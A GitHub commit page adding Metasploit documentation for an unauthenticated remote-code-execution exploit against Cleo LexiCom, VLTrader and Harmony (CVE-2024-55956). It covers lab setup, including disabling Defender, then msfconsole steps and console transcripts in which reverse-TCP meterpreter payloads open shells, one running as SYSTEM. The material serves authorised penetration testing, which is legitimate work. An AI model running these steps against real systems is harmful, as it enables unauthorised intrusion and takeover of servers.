Skip to content

Commit 9bd8590

Browse files
bwatters-r7bwatters-r7
authored
Merge pull request rapid7#19793 from sfewer-r7/CVE-2024-55956
Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution (CVE-2024-55956)
2 parents 8344c2c + 4d42c78 commit 9bd8590

File tree

2 files changed

+416
-0
lines changed

2 files changed

+416
-0
lines changed

‎documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md‎

Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
## Vulnerable Application
2+
This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
3+
versions 5.8.0.23 and below.
4+
5+
For a full technical analysis, please see our
6+
AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis).
7+
8+
## Testing
9+
You must install a vulnerable copy of Cleo LexiCom, VLTrader, or Harmony. The vendor install guide for Cleo LexiCom
10+
can be found [here](https://cleo-infoeng.s3.us-east-2.amazonaws.com/PDF/LexiCom/5.8/LexiCom_58_InstallGuide_072222.pdf).
11+
During testing of this module Cleo LexiCom was used. On Windows you will download the `install.exe` file and on Linux
12+
you will download the `install.bin` file. Running the installer to complete the installation.
13+
14+
By default, the HTTP service will listen on TCP port 5080, so you will need to allow inbound connections to this port
15+
from your firewall.
16+
17+
If testing the default Windows payloads, you should disable Defender.
18+
19+
## Verification Steps
20+
21+
1. Start msfconsole
22+
2. `use exploit/multi/http/cleo_rce_cve_2024_55956`
23+
3. `set RHOST <TARGET_IP_ADDRESS>`
24+
4. `set LHOST eth0`
25+
5. `set LPORT 4444`
26+
6. `set target 0`
27+
7. `set PAYLOAD java/meterpreter/reverse_tcp`
28+
8. `check`
29+
9. `exploit`
30+
31+
## Scenarios
32+
33+
### Java
34+
35+
```
36+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
37+
RHOSTS => 192.168.86.50
38+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
39+
LHOST => 192.168.86.42
40+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
41+
LPORT => 4444
42+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 0
43+
target => 1
44+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload java/meterpreter/reverse_tcp
45+
payload => java/meterpreter/reverse_tcp
46+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options
47+
48+
Module options (exploit/multi/http/cleo_rce_cve_2024_55956):
49+
50+
Name Current Setting Required Description
51+
---- --------------- -------- -----------
52+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
53+
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
54+
RPORT 5080 yes The target port (TCP)
55+
SSL false no Negotiate SSL/TLS for outgoing connections
56+
VHOST no HTTP server virtual host
57+
58+
59+
Payload options (java/meterpreter/reverse_tcp):
60+
61+
Name Current Setting Required Description
62+
---- --------------- -------- -----------
63+
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
64+
LPORT 4444 yes The listen port
65+
66+
67+
Exploit target:
68+
69+
Id Name
70+
-- ----
71+
0 Java
72+
73+
74+
75+
View the full module info with the info, or info -d command.
76+
77+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check
78+
[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
79+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit
80+
[*] Started reverse TCP handler on 192.168.86.42:4444
81+
[*] Running automatic check ("set AutoCheck false" to disable)
82+
[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
83+
[*] Sending stage (58073 bytes) to 192.168.86.50
84+
[+] Deleted temp/iidqizro
85+
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:59172) at 2024-12-17 13:40:58 +0000
86+
[!] This exploit may require manual cleanup of 'temp/kagdkplw' on the target
87+
88+
meterpreter > getuid
89+
Server username: WIN-V28QNSO2H05$
90+
meterpreter > sysinfo
91+
Computer : WIN-V28QNSO2H05
92+
OS : Windows Server 2022 10.0 (amd64)
93+
Architecture : x64
94+
System Language : en_IE
95+
Meterpreter : java/windows
96+
meterpreter > pwd
97+
C:\LexiCom
98+
meterpreter >
99+
```
100+
101+
### Windows Command
102+
103+
```
104+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
105+
RHOSTS => 192.168.86.50
106+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
107+
LHOST => 192.168.86.42
108+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
109+
LPORT => 4444
110+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 1
111+
target => 1
112+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp
113+
payload => cmd/windows/http/x64/meterpreter_reverse_tcp
114+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options
115+
116+
Module options (exploit/multi/http/cleo_rce_cve_2024_55956):
117+
118+
Name Current Setting Required Description
119+
---- --------------- -------- -----------
120+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
121+
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
122+
RPORT 5080 yes The target port (TCP)
123+
SSL false no Negotiate SSL/TLS for outgoing connections
124+
VHOST no HTTP server virtual host
125+
126+
127+
Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
128+
129+
Name Current Setting Required Description
130+
---- --------------- -------- -----------
131+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
132+
EXTENSIONS no Comma-separate list of extensions to load
133+
EXTINIT no Initialization strings for extensions
134+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
135+
FETCH_DELETE false yes Attempt to delete the binary after execution
136+
FETCH_FILENAME APpIYmSCo no Name to use on remote system when storing payload; cannot contain spaces or slashes
137+
FETCH_SRVHOST no Local IP to use for serving payload
138+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
139+
FETCH_URIPATH no Local URI to use for serving payload
140+
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
141+
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
142+
LPORT 4444 yes The listen port
143+
144+
145+
Exploit target:
146+
147+
Id Name
148+
-- ----
149+
1 Windows Command
150+
151+
152+
153+
View the full module info with the info, or info -d command.
154+
155+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check
156+
[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
157+
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit
158+
[*] Started reverse TCP handler on 192.168.86.42:4444
159+
[*] Running automatic check ("set AutoCheck false" to disable)
160+
[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
161+
[+] Deleted temp/hzbcsche
162+
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:59175) at 2024-12-17 13:42:09 +0000
163+
164+
meterpreter > getuid
165+
Server username: NT AUTHORITY\SYSTEM
166+
meterpreter > sysinfo
167+
Computer : WIN-V28QNSO2H05
168+
OS : Windows Server 2022 (10.0 Build 20348).
169+
Architecture : x64
170+
System Language : en_US
171+
Domain : WORKGROUP
172+
Logged On Users : 1
173+
Meterpreter : x64/windows
174+
meterpreter > pwd
175+
C:\LexiCom
176+
meterpreter >
177+
```

0 commit comments

Comments
 (0)